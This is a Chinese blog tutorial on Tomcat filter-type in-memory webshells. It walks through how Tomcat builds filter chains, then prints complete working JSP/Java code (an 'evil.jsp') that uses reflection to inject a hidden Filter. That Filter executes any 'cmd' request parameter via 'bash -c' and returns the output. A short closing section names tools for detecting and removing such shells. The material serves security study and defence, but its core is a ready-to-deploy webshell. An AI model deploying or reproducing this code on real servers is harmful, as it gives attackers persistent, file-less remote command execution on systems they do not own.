0x00 前言
博客文章链接:http://wjlshare.com/archives/1529
一直以来听大哥们都在讨论内存马,但是自己始终没有学习这个,正好最近一直都在学习 Java 这块,所以借此机会来学习一下,文章有可能会写的比较浅显还望师傅们见谅,如果文章中有错误还请师傅们加微信指正
0x01 Tomcat 简介
这里简单的介绍一下,具体的可以看下方参考链接内容
参考链接:https://www.cnblogs.com/whgk/p/6399262.html
Servlet
Servlet 是一种处理请求和发送响应的程序,Servlet是为了解决动态页面而衍生的东西
Tomcat 与 Servlet 的关系
参考链接:https://www.freebuf.com/articles/system/151433.html
Tomcat 是 Web 应用服务器,是一个 Servlet/JSP 容器,Tomcat 作为 Servlet 的容器,能够将用户的请求发送给 Servlet,并且将 Servlet 的响应返回给用户,Tomcat中有四种类型的Servlet容器,从上到下分别是 Engine、Host、Context、Wrapper
- Engine,实现类为 org.apache.catalina.core.StandardEngine
- Host,实现类为 org.apache.catalina.core.StandardHost
- Context,实现类为 org.apache.catalina.core.StandardContext
- Wrapper,实现类为 org.apache.catalina.core.StandardWrapper
每个Wrapper实例表示一个具体的Servlet定义,StandardWrapper是Wrapper接口的标准实现类(StandardWrapper 的主要任务就是载入Servlet类并且进行实例化)
Tomcat 容器
在 Tomcat 中,每个 Host 下可以有多个 Context (Context 是 Host 的子容器), 每个 Context 都代表一个具体的Web应用,都有一个唯一的路径就相当于下图中的 /shop /manager 这种,在一个 Context 下可以有着多个 Wrapper
Wrapper 主要负责管理 Servlet ,包括的 Servlet 的装载、初始化、执行以及资源回收
参考链接:http://li9hu.top/tomcat内存马一-初探/
0x02 内存马简单介绍
参考链接:https://gv7.me/articles/2020/kill-java-web-filter-memshell/
由于现在各种防护措施越来越多,文件shell就如c0ny1师傅所说的大部分已经气数已尽,内存马因其隐蔽性等优点从而越来越盛行
内存马主要分为以下几类:
- servlet-api类
- filter型
- servlet型
- spring类
- 拦截器
- controller型
- Java Instrumentation类
- agent型
我们本文只重点介绍 Filter型的内存马
学过 Servlet 的应该都知道 filter (过滤器),我们可以通过自定义过滤器来做到对用户的一些请求进行拦截修改等操作,下面是一张简单的流程图
参考链接:https://paper.seebug.org/1441/#1jsp-webshell
从上图可以看出,我们的请求会经过 filter 之后才会到 Servlet ,那么如果我们动态创建一个 filter 并且将其放在最前面,我们的 filter 就会最先执行,当我们在 filter 中添加恶意代码,就会进行命令执行,这样也就成为了一个内存 Webshell
所以我们后文的目标:动态注册恶意 Filter,并且将其放到 最前面
0x03 Tomcat Filter 流程分析
在上文我们已经介绍过了 Filter ,那么在注入 Filter内存马 之前我们先来分析一下正常 Filter 在 Tomcat中的流程是怎么样的
首先在IDEA中创建Servlet,如不知道如何创建可看下方链接
https://blog.csdn.net/gaoqingliang521/article/details/108677301
自定义 filter:
import javax.servlet.*;
import java.io.IOException;
public class filterDemo implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始化创建");
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("执行过滤操作");
filterChain.doFilter(servletRequest,servletResponse);
}
public void destroy() {}
}
然后在web.xml中注册我们的filter,这里我们设置url-pattern为 /demo
即访问 /demo
才会触发
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>filterDemo</filter-name>
<filter-class>filter.filterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDemo</filter-name>
<url-pattern>/demo</url-pattern>
</filter-mapping>
</web-app>
访问 http://localhost:8080/demo
,发现成功触发
参考链接:https://paper.seebug.org/1441/#1jsp-webshell
在具体分析流程之前我们先介绍一下后面会遇到的几个类:(最后再来分析一下
FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
WebXml:存放 web.xml 中内容的类
ContextConfig:Web应用的上下文配置类
StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet
接下来我们来分析一下 Tomcat 中是如何将我们自定义的 filter 进行设置并且调用的
首先会通过 configureContext 解析 web.xml 然后返回 webXml 实例
在 StandardWrapperValve 中会利用 ApplicationFilterFactory 来创建filterChain(filter链),我们跟进这个方法
我们看到红框处的代码,首先会调用 getParent 获取当前 Context (即当前 Web应用),然后会从 Context 中获取到 filterMaps
filterMaps中的 filterMap 主要存放了过滤器的名字以及作用的 url,继续往下看
发现会遍历 FilterMaps 中的 FilterMap,如果发现符合当前请求 url 与 FilterMap 中的 urlPattern 想匹配,就会进入 if 判断会调用 findFilterConfig 方法在 filterConfigs 中寻找对应 filterName名称的 FilterConfig,然后如果不为null,就进入 if 判断,将 filterConfig 添加到 filterChain中,跟进addFilter函数
在addFilter函数中首先会遍历filters,判断我们的filter是否已经存在(其实就是去重)
下面这个 if 判断其实就是扩容,如果 n 已经等于当前 filters 的长度了就再添加10个容量,最后将我们的filterConfig 添加到 filters中
至此 filterChain 组装完毕,重新回到 StandardContextValue 中,调用 filterChain 的 doFilter 方法 ,就会依次调用 Filter 链上的 doFilter方法
在 doFilter 方法中会调用 internalDoFilter方法
在internalDoFilter方法中首先会依次从 filters 中取出 filterConfig
然后会调用 getFilter() 将 filter 从 filterConfig 中取出,调用 filter 的 doFilter方法
从而调用我们自定义过滤器中的 doFilter 方法,从而触发了相应的代码
最后放一张来自宽字节安全的图
这里做一个简单的总结:
- 根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称
- 根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig
- 找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain
- filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法
根据上面的简单总结,不难发现最开始是从 context 中获取的 FilterMaps,将符合条件的依次按照顺序进行调用,那么我们可以将自己创建的一个 FilterMap 然后将其放在 FilterMaps 的最前面,这样当 urlpattern 匹配的时候就回去找到对应 FilterName 的 FilterConfig ,然后添加到 FilterChain 中,最终触发我们的内存shell
0x04 Filter型内存马注入
该方法只能在 tomcat 7.x 以上利用具体原因会在后文提到
前面说到当组装我们的过滤器链的时候 ,是从context中获取到的 FiltersMaps
那么我们如何获取这个context 呢?
当我们能直接获取 request 的时候,我们这里可以直接使用如下方法
将我们的 ServletContext 转为 StandardContext 从而获取 context
ps:当 Web 容器启动的时候会为每个 Web 应用都创建一个 ServletContext 对象,代表当前 Web 应用
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 这样我们就获取到了 context
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
其他的获取 context 的方法( 暂时还未仔细研究,所以这里就先放链接了)
从线程中获取StandardContext
如果没有request对象的话可以从当前线程中获取
https://zhuanlan.zhihu.com/p/114625962
从MBean中获取
https://scriptboy.cn/p/tomcat-filter-inject/
获取到 Context 之后 ,我们可以发现其中的 filterConfigs,filterDefs,filterMaps 这三个参数和我们的 filter 有关,那么如果我们可以控制这几个变量那么我们或许就可以注入我们的内存马
FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
filterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
filterMaps:一个存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
参考链接:https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w
大致流程如下:
- 创建一个恶意 Filter
- 利用 FilterDef 对 Filter 进行一个封装
- 将 FilterDef 添加到 FilterDefs 和 FilterConfig
- 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
// 首先判断名字是否存在,如果不存在我们就进行注入
if (filterConfigs.get(name) == null){
// 创建恶意 Filter
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
/**
* 创建一个FilterDef 然后设置我们filterDef的名字,和类名,以及类
*/
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
// 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
standardContext.addFilterDef(filterDef);
/**
* 创建一个filtermap
* 设置filter的名字和对应的urlpattern
*/
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
// 这里用到的 javax.servlet.DispatcherType类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3
filterMap.setDispatcher(DispatcherType.REQUEST.name());
/**
* 将filtermap 添加到 filterMaps 中的第一个位置
*/
standardContext.addFilterMapBefore(filterMap);
/**
* 利用反射创建 FilterConfig,并且将 filterDef 和 standardCtx(即 Context)作为参数进行传入
*/
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
/**
* 将 name 和 filterConfig 作为 key-value进行传入
*/
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
ps:前文说到该方法只支持 Tomcat 7.x 以上,因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3
filterMap.setDispatcher(DispatcherType.REQUEST.name());
最终内存马如下:
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "KpLi0rn";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>
开启服务,访问 evil.jsp 显示注入成功
然后只需 ?cmd=Command
即可执行我们的命令
0x05 排查内存马的几个方法
正好后面实习要去做相关防御的工作,所以想着如何从防御者的角度来发现内存马并进行删除,这里找了几个工具下面简单提一下,后面再深入学习一下
参考链接:https://syst1m.com/post/memory-webshell/#arthas
arthas
项目链接:https://github.com/alibaba/arthas
我们可以利用该项目来检测我们的内存马
java -jar arthas-boot.jar --telnet-port 9998 --http-port -1
这里也可以直接 java -jar arthas-boot.jar
这里选择我们 Tomcat 的进程
输入 1 之后会进入如下进程
利用 sc *.Filter
进行模糊搜索,会列出所有调用了 Filter 的类?
利用jad --source-only org.apache.jsp.evil_jsp
直接将 Class 进行反编译
同时也可以进行监控 ,当我们访问 url 就会输出监控结果
watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=null}.{filterClass}'
copagent
项目链接:https://github.com/LandGrey/copagent
也是一款可以检测内存马的工具
java-memshell-scanner
项目链接:https://github.com/c0ny1/java-memshell-scanner
c0ny1 师傅写的检测内存马的工具,能够检测并且进行删除,是一个非常方便的工具
该工具是由 jsp 实现的,我们这里主要来学习一下 c0ny1 师傅 删除内存马的逻辑
检测是通过遍历 filterMaps 中的所有 filterMap 然后显示出来,让我们自己认为判断,所以这里提供了 dumpclass
删除的话,这里主要是通过反射调用 StandardContext#removeFilterDef 方法来进行删除
0x06 总结
内存马远不止这些,本文中内存马还是需要上传 jsp 来生效,但是实际上利用方式远不止这样,我们还可以借助各种反序列化来动态注册 Filter 等,本文相当于是开篇,后面会继续学习内存马相关技术